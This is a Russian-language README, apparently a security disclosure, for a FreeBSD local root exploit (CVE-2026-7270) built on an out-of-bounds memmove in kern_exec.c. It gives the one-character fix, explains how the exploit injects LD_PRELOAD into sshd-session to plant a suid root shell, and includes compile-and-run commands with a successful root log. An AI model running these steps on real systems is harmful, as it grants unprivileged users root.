
CVE-2026-7270 локальное повышение привилегий в FreeBSD через exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
Локальное повышение привилегий в FreeBSD через OOB memmove в exec_args_adjust_args
Ошибка приоритета операторов в exec_args_adjust_args() (sys/kern/kern_exec.c, присутствует с 2013 года) позволяет любому локальному пользователю повысить привилегии до root на стандартной установке FreeBSD с запущенным sshd. Не требуются suid-бинарники, модули ядра или изменение конфигурации.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* ОШИБКА: + должно быть - */
+ consume должно быть - consume. Неверный знак заставляет memmove копировать 2 * consume байт вместо корректных endp - begin_argv - consume. При argv[0] размером 265 185 байт в shebang-exec memmove переполняет запись exec_map размером 528 384 байта на 2 024 байта в соседнюю запись — без сбоя, без сигнала, без ошибки страницы.
Эксплойт гоняет OOB memmove против fork/execv в sshd при входящих TCP-соединениях. sshd-session выполняется root-to-root без перехода suid/sgid, поэтому issetugid() возвращает 0, и динамический компоновщик учитывает LD_PRELOAD. Эксплойт помещает LD_PRELOAD=/tmp/evil.so в запись exec_map для sshd-session; конструктор evil.so выполняется с uid=0 и создаёт suid root-шелл в /tmp/rootsh.
Root получен на раунде 5 030, примерно через 6 секунд после запуска на VM с 4 CPU.
| Затронутые версии | FreeBSD 11.0 — 14.4 (все релизы; исправления нет ни в одной ветке на момент раскрытия) |
| Предварительные условия | Локальная оболочка без привилегий; запущенный sshd (по умолчанию в FreeBSD) |
| Надёжность | ~0,6% попаданий за раунд; root за секунды на системе с 4 CPU |
| Протестировано | FreeBSD 14.4-RELEASE-p1 amd64, ядро GENERIC, 4 CPU, 2 ГБ RAM |
Измените один символ в sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
На целевой системе FreeBSD 14.4, от имени любого непривилегированного пользователя:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... несколько секунд ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Под QEMU (хост macOS, требуется qemu и sshpass):
./run_poc.sh # загружает VM, компилирует, запускает эксплойт
./run_poc.sh run # повторный запуск против уже работающей VM
./run_poc.sh clean # удаляет артефакты VM
$ ./run_poc.sh
[*] Загрузка VM FreeBSD 14.4 (4 CPU, 2 ГБ RAM, SSH на порту 2225)...
[*] PID QEMU 25908, журнал: vm.log
[*] Ожидание SSH на порту 2225...
[*] SSH поднялся через 1 с
[*] Копирование исходников эксплойта в VM...
[*] Создание непривилегированного пользователя 'freebsd' и компиляция...
[*] Компиляция успешна
[*] Запуск эксплойта от имени 'freebsd' (до 15000 раундов)...
[*] Следите за ROOT OBTAINED ниже:
[!!!] ROOT ПОЛУЧЕН!
uid=0 euid=0 pid=3413
[!!!] Root-шелл: /tmp/rootsh -p
[*] Проверка root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id через rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Остановка VM (pid 25908)...
| Файл | Описание |
|---|
exec1_lpe21.c | Автономный эксплойт — компилируется и запускается непривилегированным пользователем |
run_poc.sh | Автоматизация QEMU: загружает FreeBSD 14.4, компилирует и запускает эксплойт |
WRITEUP.md | Полное техническое описание: анализ ошибки, архитектура эксплойта, история разработки |
blog.md | Повествовательный отчёт об обнаружении и разработке эксплойта |
images/ | SVG-диаграммы: раскладка exec_map, механизм самокопирования, общий обзор атаки |